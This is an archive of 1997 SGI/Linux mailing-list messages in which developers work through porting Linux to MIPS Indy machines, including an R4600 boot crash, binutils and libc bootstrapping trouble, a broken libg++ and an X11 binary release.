<199711261417.GAA22591@oz.engr.sgi.com> Subject: Re: Will the owner of hinv.pl for Linux please stand up? To: ralf@uni-koblenz.de Date: Wed, 26 Nov 1997 06:17:15 -0800 (PST) Cc: raju@sgi.com, linux@cthulhu.engr.sgi.com In-Reply-To: <19971126130917.58432@uni-koblenz.de> from "ralf@uni-koblenz.de" at Nov 26, 97 01:09:17 pm Reply-To: ariel@cthulhu.engr.sgi.com (Ariel Faigon) Organization: Silicon Graphics Inc. X-Mailer: ELM [version 2.4 PL24 ME5a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 569 Lines: 16 ralf wrote: : :On Wed, Nov 26, 1997 at 11:25:45AM +0530, Raj Mathur wrote: : :> Will the owner of the hinv work-alike for Linux please stand up? I : :The script has already been posted to linux-kernel, so it's obviously :ok to repost it. The author is Larry McVoy, ex lm@engr.sgi.com, now :lm@who.net. I don't know if he is still reading this list. : Larry used to be subscribed as lm@cobaltmicro.com and was deleted once these started boucing. He may resubscribe himself if he so wishes. In fact since this is n open list, anyone can resub him. -- Peace, Ariel From owner-linux@cthulhu.engr.sgi.com Thu Nov 27 14:59:20 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA488084 for ; Thu, 27 Nov 1997 14:59:19 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA02648 for linux-list; Thu, 27 Nov 1997 14:54:25 -0800 Received: from oz.engr.sgi.com (oz.engr.sgi.com [150.166.61.27]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA02643; Thu, 27 Nov 1997 14:54:23 -0800 Received: (from ariel@localhost) by oz.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) id OAA27112; Thu, 27 Nov 1997 14:54:20 -0800 (PST) From: ariel@oz.engr.sgi.com (Ariel Faigon) Message-Id: <199711272254.OAA27112@oz.engr.sgi.com> Subject: Re: Problems with booting SGI/Linux To: kron@informatics.muni.cz (David Kostal) Date: Thu, 27 Nov 1997 14:54:20 -0800 (PST) Cc: linux@cthulhu.engr.sgi.com (SGI/Linux mailing list) In-Reply-To: <199711271811.TAA11711@anxur.fi.muni.cz> from "David Kostal" at Nov 27, 97 07:11:10 pm Reply-To: ariel@cthulhu.engr.sgi.com (Ariel Faigon) Organization: Silicon Graphics Inc. X-Mailer: ELM [version 2.4 PL24 ME5a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 2630 Lines: 74 Could someone help David on this ? Is this a R4600 PC vs SC thing ? A known hardware bug in R4600 PC ? David: you may want to subscribe to the SGI/Linux mailimg list (if your aren't yet): To: linux-request@engr.sgi.com Body: subscribe linux : :Hallo, :I've tried to run sgi/linux on our INDY/R4600PC 100MHz, but I was :unable to boot the kernel. I used kernel from :test/vmlinux-970916-efs.gz . The booting process stoped after while. :I use this kernel, because I wasn't able to cross-compile my own :kernel. :I send you the messages (handly) rewriten from the console. Can you, :please, lat me know, where was problem? If you wil need more info or :more tests on my Indy, I will do it. : :thanks a lot : :david kostal (kron@fi.muni.cz) :----+ : : : :PROMLIB: SGI ARCS firmware Version1 Revision 10 :PROMLIB: Total free ram 31502336 bytes (...) :ARCH: SGI-IP22 :CPU: MIPS-R4600 FPU ICACHE DCACHE :Loading R4000 MNV routines :CPU revision is: 00002020 :Primary ICACHE 16K (linesize 32 bytes) :Primary DCACHE 16K (linesize 32 bytes) :R4600/R5000 SCACHE size 0 Kb linesize 32 bytes :MC: SGI memory controller Revision 3 :calculating r4koff ... 0007eedc(519900) :GFX INIT: SHMIQ setup :usenamedone misc device registred (minor: 151) :umesa device registred (major 86) :video screen size is 00004c88a18833e948 :console: 16 point font, 992 scans :console: color NEWPORT 158x62, 1 virtual console (max 63) :Calibrating delay loop ... ok - 103.83 BogoMIPS :Memory: 28616/163836 available (1020k kernel code, 2352k data) :Swansea University Computer Society NET3.035 for Linux 2.0 :NET3: Unix domain sockets 0.13 for Linux NET3.035. :Swansea University Computer Society TCP/IP for NET3.034 :IP Protocols: IGMP, ICMP, UDP, TCP :Checking 'wait' instruction... available. :Linux version 2.1.55 (slaue@neor.ingenia.ca) (gcc version 2.7.2) #122 9.16. 16:30:52 :Posix counfornance testing by UNIFIX :Starting kswapd v 1.2.3 :SGI Zilog 8530 serial driver version 1.08 tty00 at 0xbbbd9838 (irq = 21) is a Zilog 8530 :SGI Zilog 8530 serial driver version 1.08 tty01 at 0xbbbd9830 (irq = 21) is a Zilog 8530 :Got a bus error IRQ, shouldn't happen yet :$0 :0000 0000 1000 bc01 8811 0000 0000 0000 :$4 :8813 418c 8819 9630 89ff 5cf0 0000 0001 :$8 :1000 fc03 0000 0201 0000 9fe1 8811 99d8 :$12:0000 0001 0000 0001 0000 0001 ffff fffc :$16:0000 c000 89fe 1000 0000 0000 0000 0000 :$20:987b fc20 a874 6d10 9fc5 5664 0000 0000 :$24:1000 bc01 0000 000f 0000 0000 0000 0000 :$28:0000 0000 89ff 5c90 0000 0001 8800 b0c8 :epc: 88033258 :slots: 1000fc03 :Cause: 0000 4000 :Spinning..... : -- Peace, Ariel From owner-linux@cthulhu.engr.sgi.com Thu Nov 27 17:46:16 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id RAA496402 for ; Thu, 27 Nov 1997 17:46:15 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA14080 for linux-list; Thu, 27 Nov 1997 17:43:19 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA14075; Thu, 27 Nov 1997 17:43:12 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA10319; Thu, 27 Nov 1997 17:43:10 -0800 env-from (ralf@uni-koblenz.de) From: ralf@uni-koblenz.de Received: from uni-koblenz.de (ralf@pmport-21.uni-koblenz.de [141.26.249.21]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id CAA17773; Fri, 28 Nov 1997 02:43:08 +0100 (MET) Received: (from ralf@localhost) by uni-koblenz.de (8.8.7/8.8.7) id AAA08848; Fri, 28 Nov 1997 00:47:06 +0100 Message-ID: <19971128004706.49234@uni-koblenz.de> Date: Fri, 28 Nov 1997 00:47:06 +0100 To: Ariel Faigon Cc: David Kostal , SGI/Linux mailing list Subject: Re: Problems with booting SGI/Linux References: <199711271811.TAA11711@anxur.fi.muni.cz> <199711272254.OAA27112@oz.engr.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: <199711272254.OAA27112@oz.engr.sgi.com>; from Ariel Faigon on Thu, Nov 27, 1997 at 02:54:20PM -0800 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1425 Lines: 34 On Thu, Nov 27, 1997 at 02:54:20PM -0800, Ariel Faigon wrote: > Could someone help David on this ? > Is this a R4600 PC vs SC thing ? > A known hardware bug in R4600 PC ? > :Hallo, > :I've tried to run sgi/linux on our INDY/R4600PC 100MHz, but I was > :unable to boot the kernel. I used kernel from > :test/vmlinux-970916-efs.gz . The booting process stoped after while. > :I use this kernel, because I wasn't able to cross-compile my own > :kernel. > :I send you the messages (handly) rewriten from the console. Can you, > :please, lat me know, where was problem? If you wil need more info or > :more tests on my Indy, I will do it. > :PROMLIB: SGI ARCS firmware Version1 Revision 10 > :PROMLIB: Total free ram 31502336 bytes (...) > :ARCH: SGI-IP22 > :CPU: MIPS-R4600 FPU ICACHE DCACHE > :Loading R4000 MNV routines > :CPU revision is: 00002020 ^^^^ That's a R4600 V2.0. The kernel sources/binaries on Linus don't handle the silicon bugs of this beast correctly. I fixed the problem this morning testing them on a SNI RM200. For a proof of the test I compiled X a couple of times; the box now looks stable even under high load. Will commit the bug fixes shortly. The Indy actually seems to show the problem somewhere during or after the initialisation of the serial driver but by my experience this CPU bug causes all sorts of symptoms indicating everything else ... Ralf From owner-linux@cthulhu.engr.sgi.com Fri Nov 28 05:40:42 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA532830 for ; Fri, 28 Nov 1997 05:40:42 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA07319 for linux-list; Fri, 28 Nov 1997 05:35:56 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA07314 for ; Fri, 28 Nov 1997 05:35:54 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA18234 for ; Fri, 28 Nov 1997 05:35:53 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id NAA14743; Fri, 28 Nov 1997 13:35:24 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xbQZf-0005FsC; Fri, 28 Nov 97 13:35 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Bintuils To: ralf@uni-koblenz.de Date: Fri, 28 Nov 1997 13:35:14 +0000 (GMT) Cc: linux@cthulhu.engr.sgi.com In-Reply-To: <19971128004706.49234@uni-koblenz.de> from "ralf@uni-koblenz.de" at Nov 28, 97 00:47:06 am Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 504 Lines: 21 Ralf: Has anyone attempted to build the binutils fixed RPM with the old buggy binutils. Im trying this right now and Im getting 1. build the srpm all the tools die with segv on load 2. build the srpm static tools seem to work 3. link the stuff again with the static srpm but dynamic dies All the binaries crash at the same reference (000000d0 from a fixed address so I guess its a dynamic linker error). Im now off to rebuild it from scratch with the static new linker to see what occurs Alan From owner-linux@cthulhu.engr.sgi.com Fri Nov 28 05:58:32 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA534200 for ; Fri, 28 Nov 1997 05:58:32 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA08512 for linux-list; Fri, 28 Nov 1997 05:54:29 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA08505 for ; Fri, 28 Nov 1997 05:54:19 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA20835 for ; Fri, 28 Nov 1997 05:54:17 -0800 env-from (ralf@mailhost.uni-koblenz.de) Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id OAA12103; Fri, 28 Nov 1997 14:54:14 +0100 (MET) Received: by thoma (SMI-8.6/KO-2.0) id OAA12843; Fri, 28 Nov 1997 14:54:12 +0100 Message-ID: <19971128145410.36065@thoma.uni-koblenz.de> Date: Fri, 28 Nov 1997 14:54:11 +0100 From: Ralf Baechle To: Alan Cox Cc: ralf@mailhost.uni-koblenz.de, linux@cthulhu.engr.sgi.com Subject: Re: Bintuils References: <19971128004706.49234@uni-koblenz.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: ; from Alan Cox on Fri, Nov 28, 1997 at 01:35:14PM +0000 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 840 Lines: 22 On Fri, Nov 28, 1997 at 01:35:14PM +0000, Alan Cox wrote: > Has anyone attempted to build the binutils fixed RPM with the old > buggy binutils. Im trying this right now and Im getting > Im now off to rebuild it from scratch with the static new linker to see what > occurs I just checked the binutils on my (Intel ...) laptop. Libbfd contains DT_NEEDED entries for libc.so.6. This means that libbfd was linked against libc which will make binutils 2.7 produce bad executables. Suggested bootstrap procedure: - restore your old binutils 2.7 binaries - manually rebuild binutils 2.8.1 + patch. When configuring binutils 2.8.1 do not use the --enable-shared option, it will make binutils 2.7 generate bad libraries. - install the binutils just built - You should now be able to rebuild the rpm without problems Ralf From owner-linux@cthulhu.engr.sgi.com Fri Nov 28 06:00:48 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id GAA534262 for ; Fri, 28 Nov 1997 06:00:47 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id GAA09169 for linux-list; Fri, 28 Nov 1997 06:00:15 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id GAA09046 for ; Fri, 28 Nov 1997 06:00:03 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA21677 for ; Fri, 28 Nov 1997 05:59:50 -0800 env-from (ralf@mailhost.uni-koblenz.de) Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id OAA12344; Fri, 28 Nov 1997 14:59:23 +0100 (MET) Received: by thoma (SMI-8.6/KO-2.0) id OAA12961; Fri, 28 Nov 1997 14:59:14 +0100 Message-ID: <19971128145912.03440@thoma.uni-koblenz.de> Date: Fri, 28 Nov 1997 14:59:12 +0100 From: Ralf Baechle To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com Subject: libg++ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 245 Lines: 8 Hi, libg++ is completly broken. Programs linked with it will die even before the main function is reached. This probably means that the problem is somewhere in the construcors run at initialization time. Can somebody look into that? Ralf From owner-linux@cthulhu.engr.sgi.com Fri Nov 28 07:06:47 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id HAA537734 for ; Fri, 28 Nov 1997 07:06:47 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id HAA13834 for linux-list; Fri, 28 Nov 1997 07:02:26 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id HAA13819 for ; Fri, 28 Nov 1997 07:02:16 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id HAA01278 for ; Fri, 28 Nov 1997 07:02:14 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id OAA16294; Fri, 28 Nov 1997 14:56:53 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xbRqY-0005FvC; Fri, 28 Nov 97 14:56 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: Bintuils To: ralf@uni-koblenz.de (Ralf Baechle) Date: Fri, 28 Nov 1997 14:56:45 +0000 (GMT) Cc: alan@lxorguk.ukuu.org.uk, ralf@mailhost.uni-koblenz.de, linux@cthulhu.engr.sgi.com In-Reply-To: <19971128145410.36065@thoma.uni-koblenz.de> from "Ralf Baechle" at Nov 28, 97 02:54:11 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 660 Lines: 21 > - manually rebuild binutils 2.8.1 + patch. When configuring binutils > 2.8.1 do not use the --enable-shared option, it will make binutils > 2.7 generate bad libraries. Done that. I get a static and apparently workable binutils if I also turn gcc optimisation off (otherwise gcc dumps) > - install the binutils just built Done that > - You should now be able to rebuild the rpm without problems gcc still dumps, if I fix that I get back to the original problem. This is the 2.8.1 off sgi.com and has a "mips patch" listed in the spec file. Im guessing the gcc one is a link bug that damaged gcc just slightly - zsh also dumps gcc. Alan From owner-linux@cthulhu.engr.sgi.com Fri Nov 28 07:11:34 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id HAA535522 for ; Fri, 28 Nov 1997 07:11:33 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id HAA14531 for linux-list; Fri, 28 Nov 1997 07:10:44 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id HAA14526 for ; Fri, 28 Nov 1997 07:10:42 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id HAA03227 for ; Fri, 28 Nov 1997 07:10:41 -0800 env-from (ralf@mailhost.uni-koblenz.de) Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id QAA15430; Fri, 28 Nov 1997 16:10:38 +0100 (MET) Received: by thoma (SMI-8.6/KO-2.0) id QAA13069; Fri, 28 Nov 1997 16:10:37 +0100 Message-ID: <19971128161036.24017@thoma.uni-koblenz.de> Date: Fri, 28 Nov 1997 16:10:36 +0100 From: Ralf Baechle To: Alan Cox Cc: Ralf Baechle , ralf@mailhost.uni-koblenz.de, linux@cthulhu.engr.sgi.com Subject: Re: Bintuils References: <19971128145410.36065@thoma.uni-koblenz.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: ; from Alan Cox on Fri, Nov 28, 1997 at 02:56:45PM +0000 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 879 Lines: 24 On Fri, Nov 28, 1997 at 02:56:45PM +0000, Alan Cox wrote: > > - manually rebuild binutils 2.8.1 + patch. When configuring binutils > > 2.8.1 do not use the --enable-shared option, it will make binutils > > 2.7 generate bad libraries. > > Done that. I get a static and apparently workable binutils if I also turn > gcc optimisation off (otherwise gcc dumps) > > > - install the binutils just built > > Done that > > > - You should now be able to rebuild the rpm without problems > > gcc still dumps, if I fix that I get back to the original problem. This > is the 2.8.1 off sgi.com and has a "mips patch" listed in the spec file. > > Im guessing the gcc one is a link bug that damaged gcc just slightly - zsh > also dumps gcc. In that case you are probably the victim of an older libc. I'll rebuild libc for my sources for big endian machines asap. Ralf From owner-linux@cthulhu.engr.sgi.com Fri Nov 28 07:18:58 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id HAA538321 for ; Fri, 28 Nov 1997 07:18:58 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id HAA14844 for linux-list; Fri, 28 Nov 1997 07:14:44 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id HAA14829 for ; Fri, 28 Nov 1997 07:14:34 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id HAA04045 for ; Fri, 28 Nov 1997 07:14:31 -0800 env-from (ralf@mailhost.uni-koblenz.de) Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id QAA15667; Fri, 28 Nov 1997 16:14:19 +0100 (MET) Received: by thoma (SMI-8.6/KO-2.0) id QAA13082; Fri, 28 Nov 1997 16:14:17 +0100 Message-ID: <19971128161417.23781@thoma.uni-koblenz.de> Date: Fri, 28 Nov 1997 16:14:17 +0100 From: Ralf Baechle To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com Subject: Announce: X11 patches and binaries Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 12685 Lines: 195 -----BEGIN PGP SIGNED MESSAGE----- Hi, I promised somebody I'd use the time during the student strikes in Germany to work on the NCR driver. Well, I lied - here is X windows instead :-) The binaries are mostly packaged into rpm packages with the exception of the XFree distribution itself which for now I'm providing as a tarball. A patch to be applied to the XFree source distribution itself is included. Right now the only X server included is Xnest; only little endian binaries are included. Given the short time invested into X and clients most things are untested. Those things I actually have tested were working very reliable with the exception of one program based libg++. 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uni-koblenz.de (ralf@pmport-15.uni-koblenz.de [141.26.249.15]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id UAA07348 for ; Fri, 28 Nov 1997 20:55:40 +0100 (MET) Received: (from ralf@localhost) by uni-koblenz.de (8.8.7/8.8.7) id UAA13866; Fri, 28 Nov 1997 20:52:25 +0100 Message-ID: <19971128205225.54864@uni-koblenz.de> Date: Fri, 28 Nov 1997 20:52:25 +0100 To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com Subject: Re: libg++ References: <19971128145912.03440@thoma.uni-koblenz.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: ; from Ryan on Fri, Nov 28, 1997 at 12:57:27PM -0500 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 304 Lines: 9 On Fri, Nov 28, 1997 at 12:57:27PM -0500, Ryan wrote: > That's funny... I've been using C++ programs linked to libg++ since > august. Of course, I had to compile my own libg++, but it works... Which > version are you using? The RedHat package libg++-2.7.2.8-6.src.rpm. Builds out of the box. Ralf From owner-linux@cthulhu.engr.sgi.com Fri Nov 28 19:59:10 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id TAA576549 for ; Fri, 28 Nov 1997 19:59:10 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id TAA17164 for linux-list; Fri, 28 Nov 1997 19:54:53 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id TAA17156 for ; Fri, 28 Nov 1997 19:54:42 -0800 Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id TAA24169 for ; Fri, 28 Nov 1997 19:54:39 -0800 env-from (adevries@engsoc.carleton.ca) Received: from localhost (adevries@localhost) by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id WAA19303; Fri, 28 Nov 1997 22:51:48 -0500 Date: Fri, 28 Nov 1997 22:51:47 -0500 (EST) From: Alex deVries To: Ralf Baechle cc: linux@cthulhu.engr.sgi.com Subject: Re: Bintuils In-Reply-To: <19971128161036.24017@thoma.uni-koblenz.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 620 Lines: 19 On Fri, 28 Nov 1997, Ralf Baechle wrote: > In that case you are probably the victim of an older libc. I'll rebuild > libc for my sources for big endian machines asap. libc and glibc binary RPMs would be appreciated. How about gcc and binutils for big endian as well? Okay. I'm getting somewhere now. I know I'm behind most people, but my system now boots with a local root. Does anyone have an editor? It's a bit of a pain to have to FTP things over to my i386 box, change, and re-FTP. I'm attempting to build some more RPMs, but I'm hitting some snags with my setup. Details as they become available... - A From owner-linux@cthulhu.engr.sgi.com Fri Nov 28 20:54:09 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id UAA579876 for ; Fri, 28 Nov 1997 20:54:09 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id UAA21553 for linux-list; Fri, 28 Nov 1997 20:53:02 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id UAA21548 for ; Fri, 28 Nov 1997 20:52:59 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id UAA01282 for ; Fri, 28 Nov 1997 20:52:58 -0800 env-from (ralf@uni-koblenz.de) From: ralf@uni-koblenz.de Received: from uni-koblenz.de (ralf@pmport-12.uni-koblenz.de [141.26.249.12]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id FAA25569 for ; Sat, 29 Nov 1997 05:52:55 +0100 (MET) Received: (from ralf@localhost) by uni-koblenz.de (8.8.7/8.8.7) id FAA17364; Sat, 29 Nov 1997 05:49:28 +0100 Message-ID: <19971129054928.36122@uni-koblenz.de> Date: Sat, 29 Nov 1997 05:49:28 +0100 To: Alex deVries Cc: linux@cthulhu.engr.sgi.com Subject: Re: Bintuils References: <19971128161036.24017@thoma.uni-koblenz.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: ; from Alex deVries on Fri, Nov 28, 1997 at 10:51:47PM -0500 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 835 Lines: 21 On Fri, Nov 28, 1997 at 10:51:47PM -0500, Alex deVries wrote: > On Fri, 28 Nov 1997, Ralf Baechle wrote: > > In that case you are probably the victim of an older libc. I'll rebuild > > libc for my sources for big endian machines asap. > > libc and glibc binary RPMs would be appreciated. How about gcc and > binutils for big endian as well? I'll upload them rsn. Just give some more days. My next upload will probably again be 100mb or so, that takes a while to compile. Also I don't have a network connection at home that is suitable for pumping gigs through the world, so that will suck additional time. > Does anyone have an editor? It's a bit of a pain to have to FTP things > over to my i386 box, change, and re-FTP. I'm pretty shure that I put a tarball with Elvis and several rpms with other editors on Linus. Ralf From owner-linux@cthulhu.engr.sgi.com Fri Nov 28 21:57:45 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id VAA582439 for ; Fri, 28 Nov 1997 21:57:45 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id VAA25536 for linux-list; Fri, 28 Nov 1997 21:52:22 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id VAA25531 for ; Fri, 28 Nov 1997 21:52:12 -0800 Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id VAA08715 for ; Fri, 28 Nov 1997 21:52:07 -0800 env-from (adevries@engsoc.carleton.ca) Received: from localhost (adevries@localhost) by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id AAA23940; Sat, 29 Nov 1997 00:49:34 -0500 Date: Sat, 29 Nov 1997 00:49:33 -0500 (EST) From: Alex deVries To: ralf@uni-koblenz.de cc: linux@cthulhu.engr.sgi.com Subject: Re: Bintuils In-Reply-To: <19971129054928.36122@uni-koblenz.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1114 